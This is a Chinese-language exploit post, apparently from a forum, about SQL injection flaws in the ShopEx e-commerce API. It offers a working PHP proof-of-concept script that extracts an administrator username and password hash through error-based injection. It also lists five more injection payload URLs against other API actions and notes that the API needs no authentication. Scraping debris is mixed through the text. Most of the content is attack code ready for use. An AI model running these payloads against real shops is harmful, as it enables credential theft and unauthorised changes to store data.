|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
6 X! b; [" `' D5 @3 q @core\api\payment\1.0\api_b2b_2_0_payment_cfg.php4 j9 I+ e/ K! m
0 q6 h5 H% ^+ i( o6 K3 f
第44行 $data['columns'] 未做过滤导致注入0 K6 v& w8 q7 G, f
5 u% o( X4 u7 N) @% ^0 N
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
8 n* J+ ~; \; ~( b2 R
N: p* e7 I3 W; M0 U( o6 {注射1:
! o2 b! ~ h! w) C$ G, m: _8 O& B4 o( w7 |
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
/ P; f7 \+ C4 O" _: J2 l# _
! y! C$ C4 w( [' T) m8 @) @" |注射2:
9 s9 m0 ^# Y7 t/ p! Chttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}9 ]% d2 V8 y9 X% l
' D# G: F x) F# O3 f/ M. t5 r
注射3:: M" N5 F1 S0 a% X
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx3 W* k1 G+ S8 u0 C& z$ ^8 x/ @$ }
注射4:$ e) S3 ]# ?3 t/ K& l, [
; `( q0 s4 O8 b o, _1 x1 c9 P
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
/ H) j/ B5 a; E% t ]! ]1 D$ u9 H( p4 ^; s, z1 Y
& t/ c8 E( A' L5 M注射5:
( r6 o" g$ ~3 [ http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx5 s" _, }) W$ J& V) p, n/ s
% R) l2 v! o+ p( Y5 W3 c! j+ r) I& f% _8 t2 f! ?! {2 c
) U8 N' n. G0 O& X' {4 T7 y
* d# x( z5 H) _0 }' s/ n7 l1 N9 U. u1 G/ b4 G* @. o
3 m" q. w( |6 q0 j( M& V5 m
|
|